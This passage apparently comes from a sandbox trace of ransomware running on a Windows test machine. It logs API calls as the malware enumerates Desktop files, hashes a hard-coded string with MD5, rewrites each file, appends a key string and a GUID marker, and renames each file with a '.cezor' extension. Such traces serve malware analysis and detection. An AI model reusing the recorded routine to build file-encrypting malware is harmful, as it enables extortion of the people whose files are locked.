hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.591] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.591] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.591] CloseHandle (hObject=0x5c4) returned 1 [0060.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\4_mbPPGlzHp_oUuJ-H3Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\4_mbppglzhp_ouuj-h3z.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\4_mbPPGlzHp_oUuJ-H3Z.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\4_mbppglzhp_ouuj-h3z.bmp.cezor")) returned 1 [0060.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.593] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.594] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ccb0e60, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0x8b1e3a30, ftLastAccessTime.dwHighDateTime=0x1d4cdac, ftLastWriteTime.dwLowDateTime=0x8b1e3a30, ftLastWriteTime.dwHighDateTime=0x1d4cdac, nFileSizeHigh=0x0, nFileSizeLow=0x13265, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6lkmIZ.jpg", cAlternateFileName="")) returned 1 [0060.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.594] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\6lkmIZ.jpg") returned=".jpg" [0060.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\6lkmIZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\6lkmiz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.594] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=78437) returned 1 [0060.594] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.597] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1323f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.597] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.598] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.598] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.598] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x13265, lpOverlapped=0x0) returned 1 [0060.599] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.599] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.599] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.599] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.599] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.599] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.599] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.600] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.600] GetLastError () returned 0x0 [0060.600] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.600] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x13270) returned 0x3132418 [0060.600] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.600] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x13260, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x13260, lpOverlapped=0x0) returned 1 [0060.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.601] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13265, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.601] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.601] CloseHandle (hObject=0x5c4) returned 1 [0060.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e3d0 | out: hHeap=0x670000) returned 1 [0060.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\6lkmIZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\6lkmiz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\6lkmIZ.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\6lkmiz.jpg.cezor")) returned 1 [0060.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.603] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.604] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43aed7b0, ftCreationTime.dwHighDateTime=0x1d4c6b1, ftLastAccessTime.dwLowDateTime=0xc155f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xc155f9f0, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0xc7f3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bYco6U CoNywT.ots", cAlternateFileName="BYCO6U~1.OTS")) returned 1 [0060.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.604] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.604] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.604] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\bYco6U CoNywT.ots") returned=".ots" [0060.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\bYco6U CoNywT.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\byco6u conywt.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.604] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=51187) returned 1 [0060.604] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.606] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc7cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.606] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.607] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.607] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xc7f3, lpOverlapped=0x0) returned 1 [0060.607] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.607] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.608] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.608] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.608] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.608] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.608] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.608] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.608] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.608] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.608] GetLastError () returned 0x0 [0060.608] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.608] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc7f0) returned 0x3132418 [0060.609] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.609] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xc7ee, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xc7ee, lpOverlapped=0x0) returned 1 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.609] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc7f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.609] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.609] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.610] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.610] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.610] CloseHandle (hObject=0x5c4) returned 1 [0060.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.611] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.611] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\bYco6U CoNywT.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\byco6u conywt.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\bYco6U CoNywT.ots.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\byco6u conywt.ots.cezor")) returned 1 [0060.611] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.611] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.612] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16748d40, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0x3fdc1f20, ftLastAccessTime.dwHighDateTime=0x1d4cf54, ftLastWriteTime.dwLowDateTime=0x3fdc1f20, ftLastWriteTime.dwHighDateTime=0x1d4cf54, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sH_lIdhNg4 u9hq.xls", cAlternateFileName="SH_LID~1.XLS")) returned 1 [0060.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.612] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\sH_lIdhNg4 u9hq.xls") returned=".xls" [0060.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\sH_lIdhNg4 u9hq.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\sh_lidhng4 u9hq.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.612] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=26022) returned 1 [0060.612] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.615] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.615] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.615] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.615] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x65a6, lpOverlapped=0x0) returned 1 [0060.616] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.616] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.616] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.616] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.616] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.617] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.617] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.617] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.617] GetLastError () returned 0x0 [0060.617] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.617] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x65b0) returned 0x31218d0 [0060.617] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.617] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x65a1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x65a1, lpOverlapped=0x0) returned 1 [0060.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.617] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x65a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.617] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.618] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.618] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.618] CloseHandle (hObject=0x5c4) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.619] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\sH_lIdhNg4 u9hq.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\sh_lidhng4 u9hq.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\sH_lIdhNg4 u9hq.xls.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\sh_lidhng4 u9hq.xls.cezor")) returned 1 [0060.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.619] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.620] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e994230, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x362be050, ftLastAccessTime.dwHighDateTime=0x1d4c824, ftLastWriteTime.dwLowDateTime=0x362be050, 